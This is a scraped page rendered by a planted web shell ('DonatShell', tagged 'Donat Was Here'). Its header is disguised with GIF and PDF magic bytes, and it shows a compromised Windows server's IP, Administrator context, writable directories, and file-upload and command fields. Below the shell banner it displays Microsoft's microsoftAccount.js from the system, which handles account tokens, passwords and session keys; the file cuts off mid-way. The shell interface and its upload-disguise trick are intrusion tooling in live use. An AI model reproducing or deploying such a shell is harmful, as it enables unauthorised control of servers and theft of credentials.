GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/microsoftAccount.js
//
// Copyright (C) Microsoft. All rights reserved.
//
/// <disable>JS2085.EnableStrictMode</disable>
"use strict";
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
    var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
    if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
    else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
    return c > 3 && r && Object.defineProperty(target, key, r), r;
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
    return new (P || (P = Promise))(function (resolve, reject) {
        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
        function rejected(value) { try { step(generator.throw(value)); } catch (e) { reject(e); } }
        function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
        step((generator = generator.apply(thisArg, _arguments)).next());
    });
};
var CloudExperienceHost;
(function (CloudExperienceHost) {
    class MSA {
        // This method returns the token for the cloud identity default account asynchronously.
        // This method is silent in that it never shows UX to resolve an interrupt state, and will not return a token if the user is in that state.
        // In case of any exceptions or errors or if the user is in a "bad" state, the method will return an error code and error message.
        // The caller needs to pass the necessary attributes in the requestJson to make the call successfully.
        // Sample requestJson:
        //
        // let requestObject = {
        //    provider: "https://login.windows.local",
        //    scope: "<valid_scope>",
        //    clientId: "<webapp client_id>",
        //    authority: "consumers",
        //    webtokenrequestproperties: {
        //        redirect_uri: "<redirect_uri>",
        //        oauth2_response: "1",
        //        otherProp: "otherVal",
        //    }
        // };
        // 
        // callerUri is used for validation purposes. This will be filled by CXH and should NOT be passed by the caller.
        // The response will be a JsonObject with the attributes shown below in responseObject
        static getDefaultAccountTokenSilentlyAsync(callerUri, requestJson) {
            return new WinJS.Promise(function (completeDispatch, errorDispatch) {
                return __awaiter(this, void 0, void 0, function* () {
                    try {
                        let responseObject = {
                            responsestatus: "",
                            token: "",
                            properties: "",
                            errorMessage: "",
                            errorCode: ""
                        };
                        if (!CloudExperienceHost.FeatureStaging.isOobeFeatureEnabled("GetDefaultAccountTokenCXHHelper")) {
                            responseObject.errorMessage = "FeatureIsDisabled";
                            responseObject.errorCode = "2147780800"; // PPCRL_REQUEST_E_FEATURE_NOT_SUPPORTED
                            errorDispatch(responseObject);
                            return;
                        }
                        let parsedRequest = JSON.parse(requestJson);
                        let provider = parsedRequest.provider;
                        let scope = parsedRequest.scope;
                        let clientId = parsedRequest.clientId;
                        let authority = parsedRequest.authority;
                        let propertiesObj = parsedRequest.webtokenrequestproperties;
                        let accountProvider = yield Windows.Security.Authentication.Web.Core.WebAuthenticationCoreManager.findAccountProviderAsync(provider, authority);
                        if (accountProvider) {
                            // To support the OOBE ZDP scenario where the CXH app and/or supporting DLLs are updated, but not the WAM binaries, we make an initial WAM request to check if the feature is available.
                            // If the feature is available, WAM plugin will return success and we will proceed with the actual token request.
                            // If the feature is not available, MSA WAM plugin will return invalid arg because of empty scope.
                            let isFeatureSupportedScope = ""; // empty string for is feature supported scope.
                            let isFeatureSupportedTokenRequest = new Windows.Security.Authentication.Web.Core.WebTokenRequest(accountProvider, isFeatureSupportedScope);
                            // Empty scope with feature name in properties to check if the feature is supported.
                            isFeatureSupportedTokenRequest.properties.insert("IsFeatureSupported", "CxhWamTokenAcquisition");
                            let isFeatureSupportedTokenResponse = yield Windows.Security.Authentication.Web.Core.WebAuthenticationCoreManager.getTokenSilentlyAsync(isFeatureSupportedTokenRequest);
                            if (isFeatureSupportedTokenResponse) {
                                if (isFeatureSupportedTokenResponse.responseStatus == Windows.Security.Authentication.Web.Core.WebTokenRequestStatus.success) {
                                    // The feature is enabled, proceed with the actual token request.
                                    let webPageUriKey = "web_page_uri";
                                    let tokenRequest = new Windows.Security.Authentication.Web.Core.WebTokenRequest(accountProvider, scope, clientId);
                                    for (let key in propertiesObj) {
                                        // web page uri should come from CXH instead of the webapp caller.
                                        if (key !== webPageUriKey) {
                                            tokenRequest.properties.insert(key, propertiesObj[key]);
                                        }
                                    }
                                    // Add the callerUri to the properties for further validation.
                                    if (callerUri) {
                                        tokenRequest.properties.insert(webPageUriKey, callerUri);
                                    }
                                    else {
                                        // Return failure if callerUri is null.
                                        responseObject.errorMessage = "EmptyCallerUri";
                                        responseObject.errorCode = "2147780799"; // PPCRL_REQUEST_E_WEB_PAGE_URI_MISSING
                                        CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                                        errorDispatch(responseObject);
                                        return;
                                    }
                                    let tokenResponse = yield Windows.Security.Authentication.Web.Core.WebAuthenticationCoreManager.getTokenSilentlyAsync(tokenRequest);
                                    if (tokenResponse) {
                                        responseObject.responsestatus = tokenResponse.responseStatus.toString();
                                        if (tokenResponse.responseStatus == Windows.Security.Authentication.Web.Core.WebTokenRequestStatus.success) {
                                            if (tokenResponse.responseData[0]) {
                                                responseObject.token = tokenResponse.responseData[0].token;
                                                try {
                                                    if (tokenResponse.responseData[0].properties) {
                                                        responseObject.properties = JSON.stringify(tokenResponse.responseData[0].properties);
                                                    }
                                                }
                                                catch (ex) {
                                                    // best effort of logging the response properties
                                                    CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("failed to get response properties in getDefaultAccountTokenSilentlyAsync", CloudExperienceHost.GetJsonFromError(ex));
                                                }
                                                completeDispatch(responseObject);
                                            }
                                            else {
                                                responseObject.errorMessage = "NoTokenFound";
                                                responseObject.errorCode = "1008"; // ERROR_NO_TOKEN
                                                CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                                                errorDispatch(responseObject);
                                            }
                                        }
                                        else {
                                            // Failure on the actual token request
                                            responseObject.responsestatus = tokenResponse.responseStatus.toString();
                                            responseObject.errorMessage = tokenResponse.responseError.errorMessage;
                                            responseObject.errorCode = tokenResponse.responseError.errorCode.toString();
                                            try {
                                                if (tokenResponse.responseError.properties) {
                                                    responseObject.properties = JSON.stringify(tokenResponse.responseError.properties);
                                                }
                                            }
                                            catch (ex) {
                                                // best effort of logging the error properties
                                                CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("failed to get error properties in getDefaultAccountTokenSilentlyAsync", CloudExperienceHost.GetJsonFromError(ex));
                                            }
                                            CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ responsestatus: responseObject.responsestatus, errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                                            errorDispatch(responseObject);
                                        }
                                    }
                                    else {
                                        // getTokenSilentlyAsync with no token responses for the actual request
                                        responseObject.errorMessage = "NoTokenResponses";
                                        responseObject.errorCode = "660"; // ERROR_NO_RESPONSES
                                        CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                                        errorDispatch(responseObject);
                                    }
                                }
                                else {
                                    // The CxhWamTokenAcquisition feature is disabled in WAM plugin layer.
                                    responseObject.responsestatus = isFeatureSupportedTokenResponse.responseStatus.toString();
                                    responseObject.errorMessage = isFeatureSupportedTokenResponse.responseError.errorMessage;
                                    responseObject.errorCode = isFeatureSupportedTokenResponse.responseError.errorCode.toString();
                                    CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ responsestatus: responseObject.responsestatus, errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                                    errorDispatch(responseObject);
                                }
                            }
                            else {
                                // getTokenSilentlyAsync with no token responses for query feature request
                                responseObject.errorMessage = "FeatureRequestNoTokenResponses";
                                responseObject.errorCode = "660"; // ERROR_NO_RESPONSES
                                CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                                errorDispatch(responseObject);
                            }
                        }
                        else {
                            // findAccountProviderAsync return with no default Account
                            responseObject.responsestatus = Windows.Security.Authentication.Web.Core.WebTokenRequestStatus.accountProviderNotAvailable.toString();
                            responseObject.errorMessage = "AccountProviderNotAvailable";
                            responseObject.errorCode = "3400204291"; // ERROR_ADAL_ACCOUNT_PROVIDER_NOT_AVAILABLE 0xcaab0003
                            CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", JSON.stringify({ responsestatus: responseObject.responsestatus, errorMessage: responseObject.errorMessage, errorCode: responseObject.errorCode }));
                            errorDispatch(responseObject);
                        }
                    }
                    catch (ex) {
                        CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("getDefaultAccountTokenSilentlyAsync", CloudExperienceHost.GetJsonFromError(ex));
                        errorDispatch(ex);
                    }
                });
            });
        }
    }
    __decorate([
        CloudExperienceHost.BridgeHelpers.requireCallerUri,
        CloudExperienceHost.BridgeHelpers.validateCallbackUri
    ], MSA, "getDefaultAccountTokenSilentlyAsync", null);
    CloudExperienceHost.MSA = MSA;
    (function (MSA) {
        var Crypto = Windows.Security.Cryptography;
        let _userInfo = null;
        let _ngcBrokeredExtensionForUser = null;
        let _isMsaMuaEnabled = CloudExperienceHostAPI.FeatureStaging.isOobeFeatureEnabled("MsaMuaFlows");
        let _persistedMsaExtension = null;
        let _verificationCode;
        let _isProductControlsAutoLogonEnabled = CloudExperienceHostAPI.FeatureStaging.isOobeFeatureEnabled("ProductControlsAutoLogon");
        function createConnectedAccount(data, encodedPassword, daToken, creation, expiry, sessionKey, flowToken) {
            let passwordBuffer = null;
            let daTokenBuffer = null;
            let sessionKeyBuffer = null;
            let platform = CloudExperienceHost.Environment.getPlatform();
            let platformIsWindowsCore = (platform == CloudExperienceHost.TargetPlatform.WINDOWS8828080) || (platform == CloudExperienceHost.TargetPlatform.WINDOWSCORE);
            // When we are able to support autologon scenarios in the product, MSA should never enable autologon.
            let enableAutologon = platformIsWindowsCore && !IsProductControlsAutologonEnabled();
            if (typeof (data) == "string") {
                // data is the username.
                if (encodedPassword) {
                    passwordBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(encodedPassword);
                }
                if (daToken) {
                    daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daToken, Crypto.BinaryStringEncoding.utf8);
                }
                if (sessionKey) {
                    sessionKeyBuffer = Crypto.CryptographicBuffer.convertStringToBinary(sessionKey, Crypto.BinaryStringEncoding.utf8);
                }
                let extension = getBrokeredExtension();
                // TODO: http://osgvsowi/14843668 - Remove platform check from microsoftAccount.ts bridge in API createConnectedAccount once server changes are in PROD
                let platformIsHolographic = (platform == CloudExperienceHost.TargetPlatform.HOLOGRAPHIC);
                let setDeviceOwner = platformIsWindowsCore || platformIsHolographic;
                return extension.createConnectedAccountAsync(data, passwordBuffer, daTokenBuffer, creation, expiry, sessionKeyBuffer, flowToken, enableAutologon, setDeviceOwner).then((userId) => {
                    CloudExperienceHost.IUserManager.getInstance().setIUserFromId(userId.toString());
                    CloudExperienceHost.IUserManager.getInstance().setSignInIdentityProvider(CloudExperienceHostAPI.SignInIdentityProviders.msa);
                });
            }
            else {
                const encodedPasswordLocal = data.encodedMsaPassword;
                if (encodedPasswordLocal) {
                    passwordBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(encodedPasswordLocal);
                }
                const daTokenLocal = data.daToken;
                if (daTokenLocal) {
                    daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daTokenLocal, Crypto.BinaryStringEncoding.utf8);
                }
                const sessionKeyLocal = data.sessionKey;
                if (sessionKeyLocal) {
                    sessionKeyBuffer = Crypto.CryptographicBuffer.convertStringToBinary(sessionKeyLocal, Crypto.BinaryStringEncoding.utf8);
                }
                let extension = getBrokeredExtension();
                return extension.createConnectedAccountAsync(data.userName, passwordBuffer, daTokenBuffer, data.daCreation, data.daExpiration, sessionKeyBuffer, data.flowToken, enableAutologon, Boolean(data.setDeviceOwner)).then((userId) => {
                    CloudExperienceHost.IUserManager.getInstance().setIUserFromId(userId.toString());
                    CloudExperienceHost.IUserManager.getInstance().setSignInIdentityProvider(CloudExperienceHostAPI.SignInIdentityProviders.msa);
                });
            }
        }
        MSA.createConnectedAccount = createConnectedAccount;
        function createStubAccount(username, isAdmin, localUserName) {
            if (typeof localUserName === 'undefined') {
                localUserName = '';
            }
            var extension = getBrokeredExtension();
            return extension.createStubAccountAsync(localUserName, username, isAdmin);
        }
        MSA.createStubAccount = createStubAccount;
        // Retrieves the phone numbers from device and begins listening for the verification code.
        // The client must begin listening before the request to server is made, since the SendOTT
        // request is made before the page is loaded in CXH. The expectation is that this call is
        // made as part of the navmesh. The verification code will be stored once getVerificationCodeAsync
        // resolves. The stored code can be retrieved through the getVerificationCode API.
        //
        // Returns: A promise which resolves with the phone numbers on the device in a comma- separated list.
        //
        function initializeSmsAutoVerification() {
            startVerificationCodeWait();
            let extension = getMsaExtension();
            return extension.getPhoneNumbersFromDeviceAsync();
        }
        MSA.initializeSmsAutoVerification = initializeSmsAutoVerification;
        // Retrieves the stored SMS verification code.
        // Returns: The verification code if it was successfully retrieved, null if still waiting for the code, "-1" if retrieval failed.
        function getVerificationCode() {
            return _verificationCode;
        }
        MSA.getVerificationCode = getVerificationCode;
        function encryptUserData(plainText) {
            if (!plainText) {
                // Return as a promise for consistency with normal case.
                return WinJS.Promise.as("");
            }
            var provider = new Crypto.DataProtection.DataProtectionProvider("local=user");
            var buffer = Crypto.CryptographicBuffer.convertStringToBinary(plainText, Crypto.BinaryStringEncoding.utf8);
            return provider.protectAsync(buffer).then(function (protectedBuffer) {
                return Crypto.CryptographicBuffer.encodeToBase64String(protectedBuffer);
            });
        }
        MSA.encryptUserData = encryptUserData;
        // delete the ngc container
        function deleteNgcContainer() {
            let extension = getNgcBrokeredExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            return extension.deleteNgcContainerForUserAsync(user);
        }
        MSA.deleteNgcContainer = deleteNgcContainer;
        // Function to detect whether or not we should upsell NGC after connect.
        // Return true if there is no NGC key for the MSA, hence we upsell, false otherwise.
        // The better name can be used such as isNgcKeyCreationApplicable.
        // However, due to legacy and backward compatibility, the name of this function cannot be changed.
        function isNgcEnabled(username, puid) {
            let extension = getMsaExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            var usernameLocal = username || "";
            var puidLocal = puid || "";
            return extension.isNgcEnabledForUserAsync(user, usernameLocal, puidLocal);
        }
        MSA.isNgcEnabled = isNgcEnabled;
        function getContextParameterProperties() {
            let extension = getMsaExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            return extension.getContextParametersForUserAsync(user);
        }
        MSA.getContextParameterProperties = getContextParameterProperties;
        // Returns a query string containing the specified context parameters.
        // Caller must specify an array of key names or else empty string will be returned.
        function getContextParameters(keysToInclude) {
            return getContextParameterProperties().then(function (params) {
                // Supplying an array is required to receive any parameters.
                if (keysToInclude == null) {
                    return "";
                }
                var retParams = params;
                retParams = pluckKeys(params, keysToInclude);
                return objectToQueryString(retParams);
            });
        }
        MSA.getContextParameters = getContextParameters;
        function getContextParametersForLogin() {
            return getContextParameters(['mkt', 'platform', 'scid', 'ctc', 'cmn']);
        }
        MSA.getContextParametersForLogin = getContextParametersForLogin;
        function getContextParametersForKnownUserLogin() {
            const upn = CloudExperienceHost.Storage.VolatileSharableData.getItem("UserData", "upn");
            if (upn && (upn !== "")) {
                return getContextParametersForLogin().then(function (platformQueryString) {
                    return "username=" + upn +
                        "&" + platformQueryString;
                });
            }
            else {
                return getContextParametersForLogin();
            }
        }
        MSA.getContextParametersForKnownUserLogin = getContextParametersForKnownUserLogin;
        function getContextParametersForLoginWithScenarioContext() {
            return getContextParameters(['mkt', 'platform', 'scid', 'ctc', 'cmn', 'username']);
        }
        MSA.getContextParametersForLoginWithScenarioContext = getContextParametersForLoginWithScenarioContext;
        function getContextParametersForAccount() {
            return getContextParameters(['mkt', 'uiflavor', 'platform', 'hasngc']);
        }
        MSA.getContextParametersForAccount = getContextParametersForAccount;
        function getContextParametersForSSPR() {
            return getContextParameters(['mkt', 'uiflavor', 'platform', 'hasngc', 'mn']);
        }
        MSA.getContextParametersForSSPR = getContextParametersForSSPR;
        function getContextParametersForXbox() {
            var langCode = "en-US";
            var regionCode = "US";
            var inOobe = false;
            var useLightTheme = false;
            // Need to see if we need to override the mkt and country parameters.  Xbox supports
            // 2 x 2 which are not supported by MSA.  As an example, for en-HU, we send en-GB for
            // mkt and HU for the country parameters.
            try {
                langCode = Windows.Xbox.System.Internal.Console.ConsoleProperties.currentNLSLanguage;
                regionCode = new Windows.Globalization.GeographicRegion().codeTwoLetter;
                var msaLocaleOverrides = Windows.Xbox.System.Internal.LiveSettings.LiveSettingGenerics.getString("MsaLocaleOverrides", "");
                if (msaLocaleOverrides) {
                    msaLocaleOverrides = JSON.parse(msaLocaleOverrides);
                    if (msaLocaleOverrides[langCode]) {
                        langCode = msaLocaleOverrides[langCode];
                    }
                }
            }
            catch (e) {
            }
            // Are we in OOBE?
            try {
                inOobe = !Windows.Xbox.System.Internal.XConfig.XConfigProperties.getIsOobeCompleted();
            }
            catch (e) {
            }
            // Dark or light theme?
            try {
                var theme = Windows.Xbox.System.Internal.Personalization.SystemPersonalization.defaultSystemTheme;
                useLightTheme = (theme == Windows.Xbox.System.Internal.Personalization.SystemTheme.light);
            }
            catch (e) {
            }
            // During the Xbox OOBE flow, we don't allow users to cancel out of the
            // MSA connect flow, so check to see if OOBE is completed and pass in
            // the appropriate query parameter value for oobe.
            return getContextParameters(['platform']).then(function (platformQueryString) {
                return "mkt=" + langCode +
                    "&country=" + regionCode +
                    "&uitheme=" + (useLightTheme ? "xbox_2" : "xbox_1") +
                    (inOobe ? "&oobe=1" : "") +
                    "&" + platformQueryString;
            });
        }
        MSA.getContextParametersForXbox = getContextParametersForXbox;
        function getContextParametersForXboxConnectWithEmail() {
            let extension = getMsaExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            return extension.getUserEmailForUserAsync(user).then(function (emailAddress) {
                return getContextParametersForXbox().then(function (platformQueryString) {
                    return "username=" + emailAddress +
                        "&" + platformQueryString;
                });
            });
        }
        MSA.getContextParametersForXboxConnectWithEmail = getContextParametersForXboxConnectWithEmail;
        function saveAuthState(daToken, creation, expiry, sessionKey) {
            // Save the primary MSA's DA and sessionkey into the credential manager
            let extension = getBrokeredExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            let daTokenBuffer = null;
            if (daToken) {
                daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daToken, Crypto.BinaryStringEncoding.utf8);
            }
            let sessionKeyBuffer = null;
            if (sessionKey) {
                sessionKeyBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(sessionKey);
            }
            return extension.saveAuthStateForUserAsync(user, daTokenBuffer, creation, expiry, sessionKeyBuffer);
        }
        MSA.saveAuthState = saveAuthState;
        function associateAccount(data, daToken, creation, expiry, flowToken, sessionKey) {
            let userName = null;
            if (typeof (data) == "string") {
                // Old signature. data is user, which is the userName.
                userName = data;
            }
            else {
                // New signature; when cleaning up the old signature, make these let declarations and move them closer to usage.
                userName = data.userName;
                daToken = data.daToken;
                creation = data.daCreation;
                expiry = data.daExpiration;
                flowToken = data.flowToken;
                sessionKey = data.sessionKey;
            }
            var extension = getMsaExtensionForUser();
            let usercontext = null;
            if (IsMsaMuaEnabled()) {
                usercontext = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            if (typeof sessionKey === "undefined") {
                sessionKey = null;
            }
            let daTokenBuffer = null;
            if (daToken) {
                daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daToken, Crypto.BinaryStringEncoding.utf8);
            }
            let sessionKeyBuffer = null;
            if (sessionKey) {
                sessionKeyBuffer = Crypto.CryptographicBuffer.convertStringToBinary(sessionKey, Crypto.BinaryStringEncoding.utf8);
            }
            return extension.associateAccountForUserAsync(usercontext, userName, daTokenBuffer, creation, expiry, sessionKeyBuffer, flowToken);
        }
        MSA.associateAccount = associateAccount;
        function connectAccount(data, userName, encodedMsaPassword, daToken, daCreation, daExpiration, flowToken, sessionKey) {
            let encodedLocalPassword = null;
            let enableAutologon = false;
            if (typeof (data) == "string" || (!data && typeof (userName) == "string")) {
                // Old signature: data is encodedLocalPassword;
                encodedLocalPassword = data;
                // TODO: http://osgvsowi/14843668 - Remove platform check from microsoftAccount.ts bridge in API createConnectedAccount/connectAccount once server changes are in PROD
                let platform = CloudExperienceHost.Environment.getPlatform();
                enableAutologon = (platform == CloudExperienceHost.TargetPlatform.WINDOWS8828080);
            }
            else {
                // New signature; when cleaning up the old signature, make these let declarations and move them closer to usage.
                encodedLocalPassword = data.encodedLocalPassword;
                userName = data.userName;
                encodedMsaPassword = data.encodedMsaPassword;
                daToken = data.daToken;
                daCreation = data.daCreation;
                daExpiration = data.daExpiration;
                flowToken = data.flowToken;
                sessionKey = data.sessionKey;
                enableAutologon = Boolean(data.enableAutologon);
            }
            let localPasswordBuffer = null;
            if (encodedLocalPassword) {
                localPasswordBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(encodedLocalPassword);
            }
            let msaPasswordBuffer = null;
            if (encodedMsaPassword) {
                msaPasswordBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(encodedMsaPassword);
            }
            let extension = getMsaExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            let daTokenBuffer = null;
            if (daToken) {
                daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daToken, Crypto.BinaryStringEncoding.utf8);
            }
            let sessionKeyBuffer = null;
            if (sessionKey) {
                sessionKeyBuffer = Crypto.CryptographicBuffer.convertStringToBinary(sessionKey, Crypto.BinaryStringEncoding.utf8);
            }
            return extension.connectAccountForUserAsync(user, localPasswordBuffer, userName, msaPasswordBuffer, daTokenBuffer, daCreation, daExpiration, flowToken, sessionKeyBuffer, enableAutologon);
        }
        MSA.connectAccount = connectAccount;
        // Calls SetUpCflUserTransitionDataAsync to package the given auth info into an
        // auth buffer and prepares for transitioning to the user's account. Intended for
        // use in CFL flows running in Default User context.
        function setUpUserTransition(user, puid, encodedPassword, daToken, daCreation, daExpiry, flowToken, sessionKey, sessionKeyType) {
            // Set all null or undefined parameters to empty string or else they will be passed as
            // "null" and "undefined" to WinRT.
            user = user || "";
            puid = puid || "";
            daCreation = daCreation || "";
            daExpiry = daExpiry || "";
            flowToken = flowToken || "";
            sessionKeyType = sessionKeyType || "";
            let contextData = CloudExperienceHost.getCurrentNode().customProperty || "";
            CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("setUpUserTransition", JSON.stringify({
                contextData: contextData
            }));
            let daTokenBuffer = null;
            if (daToken) {
                daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daToken, Crypto.BinaryStringEncoding.utf8);
            }
            let sessionKeyBuffer = null;
            if (sessionKey) {
                sessionKeyBuffer = Crypto.CryptographicBuffer.convertStringToBinary(sessionKey, Crypto.BinaryStringEncoding.utf8);
            }
            let encodedPasswordBuffer = null;
            if (encodedPassword) {
                encodedPasswordBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(encodedPassword);
            }
            var extension = getMsaExtension();
            return extension.setUpCflUserTransitionDataAsync(user, puid, encodedPasswordBuffer, daTokenBuffer, daCreation, daExpiry, flowToken, sessionKeyBuffer, sessionKeyType, contextData, null).then((userId) => {
                CloudExperienceHost.IUserManager.getInstance().setIUserFromId(userId.toString());
                CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance().logEvent("UserId", userId.toString());
            });
        }
        MSA.setUpUserTransition = setUpUserTransition;
        function getDevicePostData() {
            var extension = getMsaExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            return extension.getDevicePostDataForUserAsync(user);
        }
        MSA.getDevicePostData = getDevicePostData;
        // Returns a POST data blob containing the following in application/x-www-form-urlencoded format:
        //   SDDA: Signed device DA Token
        //   SUDA: Signed user DA Token (if user is connected)
        //
        // getSignedAuthTokensAsync() returns a property bag, e.g.:
        //   {"SUDA": "a=1&b=2&...", "SDDA": "a=1&b=2&..."}
        //
        function getAuthTokenPostData() {
            let extension = getMsaExtensionForUser();
            let user = null;
            if (IsMsaMuaEnabled()) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            return extension.getSignedAuthTokensForUserAsync(user).then(function (fields) {
                return objectToQueryString(fields);
            });
        }
        MSA.getAuthTokenPostData = getAuthTokenPostData;
        // Converts key/value pairs in an object into a query string.
        function objectToQueryString(obj) {
            var components = [];
            Object.keys(obj).forEach(function (key) {
                components.push(escapeUrlParam(key) + '=' + escapeUrlParam(obj[key]));
            });
            return components.join('&');
        }
        // Returns an object containing only the specified keys from the passed-in object.
        function pluckKeys(obj, keysToPluck) {
            var result = {};
            Object.keys(obj).forEach(function (key) {
                if (keysToPluck.indexOf(key) !== -1) {
                    result[key] = obj[key];
                }
            });
            return result;
        }
        function setUserInfo(userInfo) {
            return new WinJS.Promise(function (completeDispatch, errorDispatch /*, progressDispatch */) {
                var provider = new Crypto.DataProtection.DataProtectionProvider("local=user");
                var buffer = Crypto.CryptographicBuffer.convertStringToBinary(JSON.stringify(userInfo), Crypto.BinaryStringEncoding.utf8);
                provider.protectAsync(buffer).then(function (bufferProtected) {
                    _userInfo = Crypto.CryptographicBuffer.encodeToBase64String(bufferProtected);
                    completeDispatch();
                }.bind(this), errorDispatch);
            }.bind(this));
        }
        MSA.setUserInfo = setUserInfo;
        function getUserInfo() {
            return new WinJS.Promise(function (completeDispatch, errorDispatch /*, progressDispatch */) {
                if (_userInfo) {
                    var provider = new Crypto.DataProtection.DataProtectionProvider("local=user");
                    var buffer = Crypto.CryptographicBuffer.decodeFromBase64String(_userInfo);
                    provider.unprotectAsync(buffer).then(function (bufferUnprotected) {
                        var userInfo = JSON.parse(Crypto.CryptographicBuffer.convertBinaryToString(Crypto.BinaryStringEncoding.utf8, bufferUnprotected));
                        completeDispatch(userInfo);
                    }.bind(this), errorDispatch);
                }
                else {
                    completeDispatch(null);
                }
            }.bind(this));
        }
        MSA.getUserInfo = getUserInfo;
        function showKeyboardForXbox(show) {
            var virtualKeyboard = Windows.UI.ViewManagement.InputPane.getForCurrentView();
            if ((typeof show === 'undefined') || show) {
                virtualKeyboard.tryShow();
            }
            else {
                virtualKeyboard.tryHide();
            }
        }
        MSA.showKeyboardForXbox = showKeyboardForXbox;
        function getAadSscrParameters() {
            var extension = getMsaExtension();
            return extension.getAadSscrParametersAsync().then(function (params) {
                return objectToQueryString(params);
            });
        }
        MSA.getAadSscrParameters = getAadSscrParameters;
        function setUpAadUserTransition(userName, refreshToken, scenarioData) {
            var scenarioDataLocal = scenarioData || "";
            var extension = getMsaExtension();
            let refreshTokenBuffer = null;
            if (refreshToken) {
                refreshTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(refreshToken, Crypto.BinaryStringEncoding.utf8);
            }
            return extension.setUpAadCflUserTransitionDataAsync(userName, refreshTokenBuffer, scenarioDataLocal);
        }
        MSA.setUpAadUserTransition = setUpAadUserTransition;
        function startVerificationCodeWait() {
            // Start by clearing state from any prior operations.
            cancelVerificationCodeWait();
            _verificationCode = null;
            // The ExtensionWorker instance must be persisted,
            // because it stops listening for the code if the destructor is called.
            _persistedMsaExtension = getMsaExtension();
            const codeError = "-1";
            _persistedMsaExtension.getVerificationCodeAsync().then((verificationCode) => {
                cancelVerificationCodeWait();
                if (verificationCode) {
                    _verificationCode = verificationCode;
                }
                else {
                    // The operation completed but there was no code
                    _verificationCode = codeError;
                }
            }, (e) => {
                cancelVerificationCodeWait();
                _verificationCode = codeError;
            });
        }
        function cancelVerificationCodeWait() {
            if (_persistedMsaExtension) {
                _persistedMsaExtension.cancelVerificationCodeWait();
                _persistedMsaExtension = null; // Need to make sure this gets cleaned up.
            }
        }
        // Performs encodeURIComponent and escapes apostrophe characters.
